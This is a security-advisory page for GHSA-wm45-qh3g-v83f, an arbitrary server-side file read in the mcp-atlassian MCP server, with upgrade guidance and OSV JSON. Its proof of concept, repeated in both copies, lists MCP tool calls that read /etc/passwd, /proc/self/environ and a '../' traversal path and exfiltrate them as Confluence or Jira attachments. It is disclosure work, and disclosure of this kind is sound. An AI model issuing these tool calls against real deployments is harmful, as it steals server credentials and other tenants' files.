GHSA-wm45-qh3g-v83f: mcp-atlassian Arbitrary Server-side File Read Vulnerability

HIGH
CVSS 7.7
CWE-73 CWE-22
Published
Advisory Summary

GHSA-wm45-qh3g-v83f is a HIGH (CVSS 7.7) arbitrary server-side file read vulnerability (CWE-73: External Control of File Name or Path) affecting mcp-atlassian libraries in the PyPI ecosystem. The issue involves arbitrary server-side file read via attachment upload. Remediation is available by upgrading affected packages to version 0.22.0.

GHSA-wm45-qh3g-v83f at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wm45-qh3g-v83f
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-73: External Control of File Name or Path
Affected Product mcp-atlassian
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-wm45-qh3g-v83f

To remediate this vulnerability, upgrade all affected mcp-atlassian dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-atlassian fixed: 0.22.0
pip install mcp-atlassian>=0.22.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mcp-atlassian

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-wm45-qh3g-v83f, inspect your installed packages using pip:

pip show mcp-atlassian

Analyze the terminal output to locate any version of mcp-atlassian in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.0), your application is affected.

Note: The pip show mcp-atlassian command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In mcp-atlassian, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem. The upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.) ### Details The upload tools read a client-supplied path directly on the server: - `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, "rb")` - `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, "rb")` `os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path. Client-reachable entry points that hit these sinks: - `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as "absolute … or relative to the current working directory." - `confluence_upload_attachments` → loops over the same sink. - `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point. ### PoC **Local reproduction** Extract `traversal_upload_attachment_file_read.zip`: ``` # Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false ./poc.sh # exits 0 on success ``` > Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI. All calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default). Step 1 — read `/etc/passwd` from the server via Confluence upload: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" } ← { "message": "Attachment uploaded successfully", "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } } ``` Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read): ``` req → tools/call confluence_download_attachment { "attachment_id": "att<...>" } ← base64 resource decoding to: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` Step 3 — same primitive via the Jira entry point (second sink): ``` req → tools/call jira_update_issue { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" } ← { "attachment_results": { ... "success": true ... } } ``` Step 4 — credential disclosure via `/proc/self/environ`: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" } ← success; the resulting "environ" attachment contains the server's env, including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN. ``` (`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.) Step 5 — relative traversal accepted (no containment): ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" } ← success — relative paths are resolved and read on the server just like absolute ones. ``` The uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host. ### Impact Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants. The security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client's. In a single-user `stdio` deployment the path refers to the user's own machine, so there is no boundary crossing. ### Credit Discovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)

GHSA-wm45-qh3g-v83f Affected mcp-atlassian Versions

1 component(s)
Fixed Versions:
0.22.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp-atlassian
PyPI
< 0.22.0
0.22.0

References

Frequently Asked Questions

What is GHSA-wm45-qh3g-v83f?
GHSA-wm45-qh3g-v83f is a security vulnerability in mcp-atlassian involving Arbitrary server-side file read via attachment upload under CWE-73: External Control of File Name or Path.
Which mcp-atlassian versions are affected?
Affected versions include releases prior to 0.22.0 across affected packages: mcp-atlassian.
What version fixes GHSA-wm45-qh3g-v83f?
Upgrading to 0.22.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-atlassian affected?
Yes, mcp-atlassian is affected in releases prior to 0.22.0. Upgrade your dependency to 0.22.0 or later.
What is the CVSS score of GHSA-wm45-qh3g-v83f?
GHSA-wm45-qh3g-v83f has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-wm45-qh3g-v83f?
GHSA-wm45-qh3g-v83f is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check PyPI dependencies for GHSA-wm45-qh3g-v83f?
Run the dependency tree command: 'pip show mcp-atlassian'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wm45-qh3g-v83f",
  "modified" : "2026-07-10T19:34:30Z",
  "published" : "2026-07-10T19:34:30Z",
  "aliases" : [ ],
  "summary" : "mcp-atlassian: Arbitrary server-side file read via attachment upload",
  "details" : "### Summary\n\nA client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem.\n\nThe upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)\n\n### Details\n\nThe upload tools read a client-supplied path directly on the server:\n\n- `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, \"rb\")`\n- `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, \"rb\")`\n\n`os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.\n\nClient-reachable entry points that hit these sinks:\n\n- `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as \"absolute … or relative to the current working directory.\"\n- `confluence_upload_attachments` → loops over the same sink.\n- `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point.\n\n### PoC\n\n**Local reproduction**\n\nExtract `traversal_upload_attachment_file_read.zip`:\n```\n# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh\ndocker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false\n./poc.sh                    # exits 0 on success\n```\n\n> Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.\n\nAll calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default).\n\nStep 1 — read `/etc/passwd` from the server via Confluence upload:\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"<PAGE_ID>\", \"file_path\": \"/etc/passwd\" }\n← { \"message\": \"Attachment uploaded successfully\",\n    \"attachment\": { \"success\": true, \"filename\": \"passwd\", \"id\": \"att<...>\" } }\n```\n\nStep 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):\n```\nreq → tools/call confluence_download_attachment { \"attachment_id\": \"att<...>\" }\n← base64 resource decoding to:\n    root:x:0:0:root:/root:/bin/bash\n    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    ...\n```\n\nStep 3 — same primitive via the Jira entry point (second sink):\n```\nreq → tools/call jira_update_issue\n      { \"issue_key\": \"<ISSUE_KEY>\", \"fields\": \"{}\", \"attachments\": \"/etc/passwd\" }\n← { \"attachment_results\": { ... \"success\": true ... } }\n```\n\nStep 4 — credential disclosure via `/proc/self/environ`:\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"<PAGE_ID>\", \"file_path\": \"/proc/self/environ\" }\n← success; the resulting \"environ\" attachment contains the server's env,\n  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.\n```\n(`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)\n\nStep 5 — relative traversal accepted (no containment):\n```\nreq → tools/call confluence_upload_attachment\n      { \"content_id\": \"<PAGE_ID>\", \"file_path\": \"../../../../etc/hostname\" }\n← success — relative paths are resolved and read on the server just like absolute ones.\n```\n\nThe uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host.\n\n### Impact\n\nAny client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.\n\nThe security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client's. In a single-user `stdio` deployment the path refers to the user's own machine, so there is no boundary crossing.\n\n### Credit\n\nDiscovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-atlassian"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sooperset/mcp-atlassian"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-10T19:34:30Z",
    "nvd_published_at" : null
  }
}